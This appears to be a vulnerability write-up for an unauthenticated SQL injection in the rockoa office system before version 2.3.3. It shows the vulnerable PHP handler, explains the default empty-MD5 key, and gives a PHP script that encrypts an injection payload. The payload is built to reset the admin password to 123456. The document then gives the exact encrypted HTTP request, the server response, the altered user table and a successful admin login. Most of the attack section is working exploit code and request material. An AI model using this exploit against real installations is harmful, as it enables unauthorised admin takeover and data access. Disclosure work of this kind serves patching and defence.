

rockoa<2.3.3 sqlinjection

Detail

The problem exists in the indexAction method in reimpAction.php. Since this method can be called through the API without authentication, and all parameters of the function of modifying the mobile phone number can be controlled, the system can be injected by the attacker's SQL.

```

1  public function indexAction()
2  {
3      $body = $this->getPostdata();
4      if(!$body) return;
5      $db    = m('reimplat:dept');
6      $key    = $db->gethkey();
7      $bodystr = $this->jm->strunlook($body, $key);
8      if(!$bodystr) return;
9
10     $data    = json_decode($bodystr, true);
11     $msgtype = arrvalue($data, 'msgtype');
12     $msgevent = arrvalue($data, 'msgevent');
13
14     //用户状态改变停用
15     if($msgtype=='subscribe'){
16         $user    = arrvalue($data, 'user');
17         $zt      = '0';
18         if($msgevent=='yes') $zt = '1';
19         if($msgevent=='stop') $zt = '2';
20         $db->update("`status`='". $zt. "'", "`user`='$user'");
21     }
22
23     //修改手机号
24     if($msgtype=='editmobile'){
25         $user    = arrvalue($data, 'user');
26         $mobile  = arrvalue($data, 'mobile');
27         $where   = "`user`='$user'";
28         $upstr   = "`mobile`='$mobile'";
29         $db->update($upstr, $where);
30         $dbs    = m('admin');
31         $dbs->update($upstr, $where);
32         $uid    = $dbs->getmou('id', $where);
33         m('userinfo')->update($upstr, "`id`='$uid'");
34     }
35
36     //修改密码
37     if($msgtype=='editpass'){
38         $user = arrvalue($data, 'user');
39         $pass = arrvalue($data, 'pass');
40         if($pass && $user){
41             $where = "`user`='$user'";
42             $mima  = md5($pass);
43             m('admin')->update("`pass`='$mima', `editpass`=`editpass`+1", $where);
44         }

```

```
45     }  
46 }
```

Vulnerability reproduction steps

The `getpostdata()` method in the first line of the `indexAction` method uses `php://input` to obtain the entire post data from the post body.

```
public function indexAction()  
{  
    $body = $this->getpostdata();  
    if(!$body) return;
```

Then use `gethkey` to generate a default key to decrypt the data. The key defaults to MD5 ("), which is the empty md5 value "d41d8cd98f00b204e9800998ecf8427e"

```
21     $key      = $db->gethkey();  
22     $bodystr  = $this->jm->strunlook($body, $key);  
23     if(!$bodystr) return;  
24
```

Then the function will parse the decrypted data with `json`, and assign the values of each parsed field to the corresponding variables, thereby entering different if processing logic.

```
{  
    $body = $this->getpostdata();  
    if(!$body) return;  
    $db    = m( name: 'reimplat:dept');  
    $key    = $db->gethkey();  
    $bodystr = $this->jm->strunlook($body, $key);  
    if(!$bodystr) return;  
  
    $data    = json_decode($bodystr, associative: true);  
    $msgtype = arrvalue($data, k: 'msgtype');  
    $msgevent = arrvalue($data, k: 'msgevent');
```

So the data we pass in must be written in the specified json format and encrypted according to the specified encryption method, the encryption method is in the `strlook` function in `jmChajian.php`

```
1  <?php
2  function strlook($data,$key='')
3  {
4      $x      = 0;
5      $len    = strlen($data);
6      $l      = strlen($key);
7      $char   = $str = '';
8      for ($i = 0; $i < $len; $i++){
9          if ($x == $l) {
10             $x = 0;
11         }
12         $char .= $key[$x];
13         $x++;
14     }
15     for ($i = 0; $i < $len; $i++){
16         $str .= chr(ord($data[$i]) + (ord($char[$i])) % 256);
17     }
18     return base64_encode($str);
19 }
20 $a='{ "mobile": "123455667\'\'', `pass` = \'e10adc3949ba59abbe56e057f20f883e', "msg
type": "editmobile", "user": "admin"}';
21 $b='d41d8cd98f00b204e9800998ecf8427e';
22 echo strlook($a,$b);
23
```

We write the POC as the value of \$a in the above code, where pass is the MD5 value of 123456, and then encrypt it and output it as the request body. This POC can change the admin's login password to 123456

```

1  POST /api.php?m=reimplat&a=index HTTP/1.1
2  Host: 10.51.15.185
3  Content-Length: 136
4  Accept: */*
5  X-Requested-With: XMLHttpRequest
6  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
7  Content-Type: application/json
8  Origin: http://10.51.15.185
9  Referer: http://10.51.15.185/
10 Accept-Encoding: gzip, deflate, br
11 Accept-Language: zh-CN,zh;q=0.9
12 Cookie:
13
14 31ae05rM0J5aoFJh1GVkaZpvmdbXZ2moxtbZmHFZnJaUlZXHa5yYcprHZWnD1JKZmm+dYGVwn2
  qVyZ5wZ5dZkYahpMus3NSEwqBSlcabpKHUm6GclVt1WtrWy6pWbFnGyKGa0lrg

```

Request

Pretty

Raw

Hex

1

POST /api.php?m=reimplat&a=index HTTP/1.1

2

Host: 10.51.15.185

3

Content-Length: 136

4

Accept: */*

5

X-Requested-With: XMLHttpRequest

6

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

7

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0

8

Safari/537.36

9

Content-Type: application/json

10

Origin: http://10.51.15.185

11

Referer: http://10.51.15.185/

12

Accept-Encoding: gzip, deflate, br

13

Accept-Language: zh-CN,zh;q=0.9

14

Cookie:

15

31ae05rM0J5aoFJh1GVkaZpvmdbXZ2moxtbZmHFZnJaUlZXHa5yYcprHZWnD1

16

JKZmm+dYGVwn2qVyZ5wZ5dZkYahpMus3NSEwqBSlcabpKHUm6GclVt1WtrWy6pWbFnGyKGa0lrg

Response

Pretty

Raw

Hex

Render

OneScan

1

HTTP/1.1 200 OK

2

Date: Mon, 20 Nov 2023 06:36:55 GMT

3

Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02

4

X-Powered-By: PHP/7.3.4

5

Expires: Thu, 19 Nov 1981 08:52:00 GMT

6

Cache-Control: no-store, no-cache, must-revalidate

7

Pragma: no-cache

8

Set-Cookie: PHPSESSID=81jmplo4m2dmvf44m53c4p03n6; path=

9

Content-Length: 0

10

Content-Type: text/html; charset=utf-8

11

12

rockxinh

xinh_admin

xinh_assetm

xinh_bianjian

xinh_book

xinh_bookborrow

xinh_carm

xinh_carmang

xinh_carmrese

xinh_carms

xinh_chargems

xinh_city

xinh_company

xinh_custappy

xinh_custfina

0 200

过滤

id	num	user	name	pass	logi...	sta...	t...	sex	tel
2	<NULL>	diaochan	赵坤	e10adc3949ba59abbe56e057f20f883e	155	1	0	女	0592-1
3	<NULL>	xiaoqiao	小乔	e10adc3949ba59abbe56e057f20f883e	278	1	0	女	<NULL>
4	<NULL>	daqiao	大乔	e10adc3949ba59abbe56e057f20f883e	389	1	0	女	<NULL>
5	<NULL>	rock	磐石	e10adc3949ba59abbe56e057f20f883e	402	1	0	男	<NULL>
6	<NULL>	zhangfei	张飞	e10adc3949ba59abbe56e057f20f883e	196	1	0	男	<NULL>
7	<NULL>	zhaozi	赵子龙	e10adc3949ba59abbe56e057f20f883e	238	1	0	男	<NULL>
8	<NULL>	xinh	信呼客服	6846860684f05029abccc09a53cd66f1	417	1	1	女	<NULL>
1	A001	admin	管理员	e10adc3949ba59abbe56e057f20f883e	4226	1	1	男	0592-1


Login successfully using 123456

信时协同办公系统



admin

.....

☐ 记住密码 

登录

 登录成功,跳转中...